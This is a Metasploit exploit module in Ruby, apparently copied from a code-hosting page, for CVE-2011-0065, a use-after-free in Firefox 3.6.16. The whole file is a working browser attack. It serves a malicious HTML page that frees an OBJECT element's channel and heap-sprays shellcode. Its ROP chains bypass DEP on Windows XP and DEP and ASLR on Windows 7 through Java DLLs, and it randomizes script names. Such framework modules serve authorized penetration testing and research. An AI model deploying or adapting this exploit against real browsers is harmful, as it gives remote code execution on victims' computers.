357 lines
12 KiB
Ruby
357 lines
12 KiB
Ruby
##
|
|
# $Id$
|
|
##
|
|
|
|
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
include Msf::Exploit::Remote::BrowserAutopwn
|
|
autopwn_info({
|
|
:ua_name => HttpClients::FF,
|
|
:ua_minver => "3.6.16",
|
|
:ua_maxver => "3.6.16",
|
|
:os_name => OperatingSystems::WINDOWS,
|
|
:javascript => true,
|
|
:rank => NormalRanking,
|
|
})
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Mozilla Firefox 3.6.16 mChannel Use-After-Free Vulnerability',
|
|
'Description' => %q{
|
|
This module exploits an use after free vulnerability in Mozilla
|
|
Firefox 3.6.16. An OBJECT Element mChannel can be freed via the
|
|
OnChannelRedirect method of the nsIChannelEventSink Interface. mChannel
|
|
becomes a dangling pointer and can be reused when setting the OBJECTs
|
|
data attribute. (Discovered by regenrecht). This module uses heapspray
|
|
with a minimal ROP chain to bypass DEP on Windows XP SP3. Additionlay,
|
|
a windows 7 target was provided using JAVA 6 and below to avoid aslr.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'regenrecht', # discovery
|
|
'Rh0', # metasploit module
|
|
'mr_me <steventhomasseeley[at]gmail.com>' # win7 target
|
|
],
|
|
'Version' => "$Revision$",
|
|
'References' =>
|
|
[
|
|
['CVE', '2011-0065'],
|
|
['OSVDB', '72085'],
|
|
['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=634986'],
|
|
['URL', 'http://www.mozilla.org/security/announce/2011/mfsa2011-13.html']
|
|
],
|
|
'DefaultOptions' =>
|
|
{
|
|
'EXITFUNC' => 'process',
|
|
'InitialAutoRunScript' => 'migrate -f',
|
|
},
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1024,
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
|
|
[ 'Automatic', { } ],
|
|
|
|
# DEP bypass
|
|
[
|
|
'Firefox 3.6.16 on Windows XP SP3',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Fakevtable' => 0x0c00,
|
|
'Fakefunc' => 0x0c00001c,
|
|
}
|
|
],
|
|
|
|
# requires JAVA <= JAVA 6 update 26
|
|
# cop stack pivot = ASLR/DEP bypass
|
|
[
|
|
'Firefox 3.6.16 on Windows 7 + Java',
|
|
{
|
|
'Arch' => ARCH_X86,
|
|
'Fakevtable' => 0x1000,
|
|
'Fakefunc' => 0x100002a4,
|
|
'Ppppr' => 0x7c3410c0,
|
|
'Retn' => 0x7c3410c4,
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'May 10 2011'
|
|
))
|
|
end
|
|
|
|
def junk
|
|
return rand_text_alpha(4).unpack("L")[0].to_i
|
|
end
|
|
|
|
def on_request_uri(cli, request)
|
|
|
|
# Random JavaScript variable names
|
|
js_element_name = rand_text_alpha(rand(10) + 5)
|
|
js_obj_addr_name = rand_text_alpha(rand(10) + 5)
|
|
js_sc_name = rand_text_alpha(rand(10) + 5)
|
|
js_ret_addr_name = rand_text_alpha(rand(10) + 5)
|
|
js_chunk_name = rand_text_alpha(rand(10) + 5)
|
|
js_final_chunk_name = rand_text_alpha(rand(10) + 5)
|
|
js_block_name = rand_text_alpha(rand(10) + 5)
|
|
js_array_name = rand_text_alpha(rand(10) + 5)
|
|
js_retns = rand_text_alpha(rand(10) + 5)
|
|
js_applet_name = rand_text_alpha(rand(10) + 5)
|
|
js_ppppr = rand_text_alpha(rand(10) + 5)
|
|
js_filler = rand_text_alpha(rand(10) + 5)
|
|
|
|
# Set target manually or automatically
|
|
my_target = target
|
|
if my_target.name == 'Automatic'
|
|
agent = request.headers['User-Agent']
|
|
if agent =~ /NT 5\.1/ and agent =~ /Firefox\/3\.6\.16/
|
|
my_target = targets[1]
|
|
elsif agent =~ /NT 6\.1/ and agent =~ /Firefox\/3\.6\.16/
|
|
my_target = targets[2]
|
|
end
|
|
end
|
|
|
|
# check for non vulnerable targets
|
|
if agent !~ /NT 5\.1/ or agent !~ /NT 6\.1/ and agent !~ /Firefox\/3\.6\.16/
|
|
print_error("Target not supported: #{agent}")
|
|
send_not_found(cli)
|
|
return
|
|
end
|
|
|
|
# Re-generate the payload
|
|
return if ((p = regenerate_payload(cli).encoded) == nil)
|
|
|
|
if my_target.name =~ /Windows 7/ and not request.uri =~ /\.html/
|
|
|
|
html_trigger = ""
|
|
if ("/" == get_resource[-1,1])
|
|
html_trigger = get_resource[0, get_resource.length - 1]
|
|
else
|
|
html_trigger = get_resource
|
|
end
|
|
|
|
custom_js = <<-JS
|
|
function forward() {
|
|
window.location = window.location + "#{html_trigger}.html";
|
|
}
|
|
|
|
function start() {
|
|
setTimeout("forward()", 3500);
|
|
}
|
|
start();
|
|
JS
|
|
|
|
else
|
|
if my_target.name =~ /Windows XP/
|
|
|
|
# DEP bypass using xul.dll
|
|
rop_gadgets = [
|
|
0x1052c871, # mov esp,[ecx] / mov edx,5c86c6ff / add [eax],eax / xor eax,eax / pop esi / retn 0x8 [xul.dll]
|
|
junk, # junk --------------------------------------------------------------^^
|
|
0x7c801ad4, # VirtualProtect
|
|
junk, # junk -------------------------------------------------------------------------^^
|
|
junk, # junk -------------------------------------------------------------------------^^
|
|
0x1003876B, # jmp esp
|
|
0x0c000040, # start address
|
|
0x00000400, # size 1024
|
|
0x00000040, # Page EXECUTE_READ_WRITE
|
|
0x0c0c0c00, # old protection
|
|
].pack("V*")
|
|
|
|
rop = rop_gadgets
|
|
|
|
elsif my_target.name =~ /Windows 7/ and request.uri =~ /\.html/
|
|
|
|
# 5 gadgets to pivot using call oriented programming (cop)
|
|
# these instructions are taken from: java.dll, zip.dll and MSVCR71.dll (non aslr)
|
|
# 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
|
|
# 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
|
|
# 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
|
|
# 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
|
|
# 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN
|
|
|
|
rop_pivot = [
|
|
0x6D32280C, # 1. MOV EDX,DWORD PTR DS:[ECX] / junk / junk / junk / PUSH ECX / CALL [EDX+28C]
|
|
junk, # filler
|
|
0x6D7E627D, # 4. CALL [EAX+24] / POP ECX / POP ECX / RETN (neatly place address onto the stack)
|
|
0x7C3413A4, # 5. ADD EAX,4 / TEST [EAX],EAX / XCHG EAX,ESP / MOV EAX,[EAX] / PUSH EAX / RETN
|
|
].pack("V*")
|
|
|
|
# 319
|
|
|
|
# rop nops - RETN
|
|
rop_pivot << [0x7c3410c4].pack("V*") * 0x65 #(0xca-0x65)
|
|
|
|
# POP r32 / RETN
|
|
rop_pivot << [0x7c3410c3].pack("V*")
|
|
|
|
# 3. PUSH EBP / MOV EBP,ESP / MOV EAX,[EBP+18] / PUSH 1C / PUSH 1 / PUSH [EAX+28] / CALL [EAX+20]
|
|
rop_pivot << [0x6D7E5CDA].pack("V*")
|
|
|
|
# rop nops - RETN
|
|
rop_pivot << [0x7c3410c4].pack("V*") * 0xda # (0x75+0x65)
|
|
|
|
# POP r32 / RETN
|
|
rop_pivot << [0x7c3410c3].pack("V*")
|
|
|
|
# 2. PUSH EAX / PUSH EBX / PUSH ESI / CALL [ECX+1C0]
|
|
rop_pivot << [0x6D325BFC].pack("V*")
|
|
|
|
# https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ <MSVCR71.dll>
|
|
rop_gadgets = [
|
|
0x7c346c0a, # POP EAX / RETN
|
|
0x7c37a140, # Make EAX readable
|
|
0x7c37591f, # PUSH ESP / ... / POP ECX / POP EBP / RETN
|
|
junk, # EBP (filler)
|
|
0x7c346c0a, # POP EAX / RETN
|
|
0x7c37a140, # *&VirtualProtect()
|
|
0x7c3530ea, # MOV EAX,[EAX] / RETN
|
|
0x7c346c0b, # Slide, so next gadget would write to correct stack location
|
|
0x7c376069, # MOV [ECX+1C],EAX / POP EDI / POP ESI / POP EBX / RETN
|
|
junk, # EDI (filler)
|
|
junk, # will be patched at runtime (VP), then picked up into ESI
|
|
junk, # EBX (filler)
|
|
0x7c376402, # POP EBP / RETN
|
|
0x7c345c30, # ptr to 'push esp / ret'
|
|
0x7c346c0a, # POP EAX / RETN
|
|
0xfffffdff, # size 0x00000201 -> ebx
|
|
0x7c351e05, # NEG EAX / RETN
|
|
0x7c354901, # POP EBX / RETN
|
|
0xffffffff, # pop value into ebx
|
|
0x7c345255, # INC EBX / FPATAN / RETN
|
|
0x7c352174, # ADD EBX,EAX / XOR EAX,EAX / INC EAX / RETN
|
|
0x7c34d201, # POP ECX / RETN
|
|
0x7c38b001, # RW pointer (lpOldProtect) (-> ecx)
|
|
0x7c34b8d7, # POP EDI / RETN
|
|
0x7c34b8d8, # ROP NOP (-> edi)
|
|
0x7c344f87, # POP EDX / RETN
|
|
0xffffffc0, # value to negate, target value : 0x00000040, target: edx
|
|
0x7c351eb1, # NEG EDX / RETN
|
|
0x7c346c0a, # POP EAX / RETN
|
|
0x90909090, # NOPS (-> eax)
|
|
0x7c378c81, # PUSHAD / ADD AL,0EF / RETN
|
|
0x90909090, # NOPS (-> eax)
|
|
].pack("V*")
|
|
|
|
rop = rop_pivot + rop_gadgets
|
|
|
|
end
|
|
|
|
payload_buf = ''
|
|
payload_buf << rop
|
|
payload_buf << p
|
|
escaped_payload = Rex::Text.to_unescape(payload_buf)
|
|
|
|
# setup the fake memory references
|
|
fakevtable = Rex::Text.to_unescape([my_target['Fakevtable']].pack('v'))
|
|
fakefunc = Rex::Text.to_unescape([my_target['Fakefunc']].pack('V*'))
|
|
|
|
if my_target.name =~ /Windows XP/
|
|
|
|
# fast loading JS so we dont get the 'unresponsive script' warning from ff
|
|
custom_js = <<-JS
|
|
#{js_element_name} = document.getElementById("d");
|
|
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
|
|
|
|
#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
|
|
var #{js_sc_name} = unescape("#{escaped_payload}");
|
|
|
|
var #{js_ret_addr_name} = unescape("#{fakefunc}");
|
|
while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}
|
|
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);
|
|
#{js_chunk_name} += #{js_sc_name};
|
|
#{js_chunk_name} += #{js_ret_addr_name};
|
|
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
|
|
while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
|
|
var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
|
|
#{js_array_name} = new Array()
|
|
for (n=0;n<0x80;n++){
|
|
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
|
|
}
|
|
JS
|
|
elsif my_target.name =~ /Windows 7/
|
|
|
|
# setup precision heap spray
|
|
ppppr = Rex::Text.to_unescape([my_target['Ppppr']].pack('V*'))
|
|
retns = Rex::Text.to_unescape([my_target['Retn']].pack('V*'))
|
|
|
|
# fast loading JS so we dont get the 'unresponsive script' warning from ff
|
|
# precision heap spray
|
|
custom_js = <<-JS
|
|
#{js_element_name} = document.getElementById("d");
|
|
#{js_element_name}.QueryInterface(Components.interfaces.nsIChannelEventSink).onChannelRedirect(null,new Object,0)
|
|
|
|
#{js_obj_addr_name} = unescape("\x00#{fakevtable}");
|
|
var #{js_sc_name} = unescape("#{escaped_payload}");
|
|
|
|
var #{js_ret_addr_name} = unescape("#{fakefunc}");
|
|
var #{js_retns} = unescape("#{retns}");
|
|
|
|
#{js_ret_addr_name} += #{js_retns};
|
|
#{js_ret_addr_name} += #{js_retns};
|
|
#{js_ret_addr_name} += #{js_retns};
|
|
#{js_ret_addr_name} += #{js_retns};
|
|
|
|
var #{js_ppppr} = unescape("#{ppppr}");
|
|
#{js_ret_addr_name} += #{js_ppppr};
|
|
|
|
var #{js_filler} = unescape("%u4344%u4142");
|
|
while(#{js_filler}.length < 0x201) {#{js_filler} += #{js_filler};}
|
|
|
|
while(#{js_ret_addr_name}.length < 0x80) {#{js_ret_addr_name} += #{js_ret_addr_name};}
|
|
|
|
var #{js_chunk_name} = #{js_ret_addr_name}.substring(0,0x18/2);
|
|
|
|
#{js_chunk_name} += #{js_sc_name};
|
|
#{js_chunk_name} += #{js_filler};
|
|
#{js_chunk_name} += #{js_ret_addr_name};
|
|
|
|
var #{js_final_chunk_name} = #{js_chunk_name}.substring(0,0x10000/2);
|
|
while (#{js_final_chunk_name}.length<0x800000) {#{js_final_chunk_name} += #{js_final_chunk_name};}
|
|
var #{js_block_name} = #{js_final_chunk_name}.substring(0,0x80000 - #{js_sc_name}.length - 0x24/2 - 0x4/2 - 0x2/2);
|
|
#{js_array_name} = new Array()
|
|
for (n=0;n<0x80;n++){
|
|
#{js_array_name}[n] = #{js_block_name} + #{js_sc_name};
|
|
}
|
|
JS
|
|
end
|
|
end
|
|
|
|
html = <<-HTML
|
|
<html>
|
|
<body>
|
|
<object id="d"><object>
|
|
<applet code="#{js_applet_name}.class" width=0 height=0></applet>
|
|
<script type="text/javascript">
|
|
#{custom_js}
|
|
</script>
|
|
</body>
|
|
</html>
|
|
HTML
|
|
|
|
#Remove the extra tabs
|
|
html = html.gsub(/^\t\t/, '')
|
|
print_status("Sending HTML...")
|
|
send_response_html(cli, html, { 'Content-Type' => 'text/html' })
|
|
|
|
# Handle the payload
|
|
handler(cli)
|
|
end
|
|
|
|
end
|